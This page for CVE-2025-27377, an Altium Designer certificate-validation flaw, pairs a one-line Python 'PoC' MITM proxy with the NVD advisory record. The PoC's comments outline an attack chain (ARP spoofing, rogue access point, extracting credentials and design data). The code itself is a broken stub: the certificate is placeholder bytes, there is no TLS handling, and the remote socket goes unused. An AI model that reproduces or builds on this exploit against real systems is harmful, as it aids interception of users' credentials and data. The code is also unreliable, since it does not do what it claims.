CVE-2025-27377

#!/usr/bin/env python3 # CVE-2025-27377 PoC - MITM Attack Simulation # This PoC demonstrates the certificate validation bypass in Altium Designer import ssl import socket import json from http.server import HTTPServer, BaseHTTPRequestHandler class MitmProxyHandler(BaseHTTPRequestHandler): def do_CONNECT(self): # Establish tunnel for HTTPS traffic host, port = self.path.split(':') self.send_response(200, 'Connection Established') self.end_headers() # Create connection to real server remote_socket = socket.create_connection((host, int(port))) # Generate and serve fake certificate (self-signed) # Altium Designer accepts this due to missing validation cert_data = self.generate_fake_certificate() # Log intercepted connection attempt log_entry = { 'cve': 'CVE-2025-27377', 'target': host, 'port': port, 'action': 'MITM proxy established', 'note': 'Altium Designer certificate validation bypassed' } print(json.dumps(log_entry, indent=2)) # Note: In real attack, data would be decrypted here def generate_fake_certificate(self): # Generate self-signed certificate that Altium Designer accepts # due to missing validation in version 24.9.0 return b'FAKE_CERTIFICATE_DATA' def main(): # Start MITM proxy on common HTTPS port server = HTTPServer(('0.0.0.0', 443), MitmProxyHandler) print('[+] CVE-2025-27377 MITM Proxy Started') print('[+] Listening for Altium Designer connections...') server.serve_forever() if __name__ == '__main__': main() # Attack Requirements: # 1. Position attacker in network path (ARP spoofing, rogue AP, etc.) # 2. Redirect Altium Designer traffic through attacker-controlled proxy # 3. Serve self-signed certificate # 4. Intercept decrypted traffic and extract credentials/design data

{"cve": {"id": "CVE-2025-27377", "sourceIdentifier": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "published": "2026-01-22T01:15:50.510", "lastModified": "2026-02-26T21:49:17.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Altium Designer version 24.9.0 does not validate self-signed server certificates for cloud connections. An attacker capable of performing a man-in-the-middle (MITM) attack could exploit this issue to intercept or manipulate network traffic, potentially exposing authentication credentials or sensitive design data."}, {"lang": "es", "value": "Altium Designer versión 24.9.0 no valida los certificados de servidor autofirmados para conexiones en la nube. Un atacante capaz de realizar un ataque man-in-the-middle (MitM) podría explotar este problema para interceptar o manipular el tráfico de red, exponiendo potencialmente credenciales de autenticación o datos de diseño sensibles."}], "metrics": {"cvssMetricV31": [{"source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:altium:designer:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.9.0", "versionEndExcluding": "25.2.0", "matchCriteriaId": "4A0921CB-9CB8-4B03-A534-3C3655C0A756"}]}]}], "references": [{"url": "https://www.altium.com/platform/security-compliance/security-advisories", "source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "tags": ["Vendor Advisory"]}]}}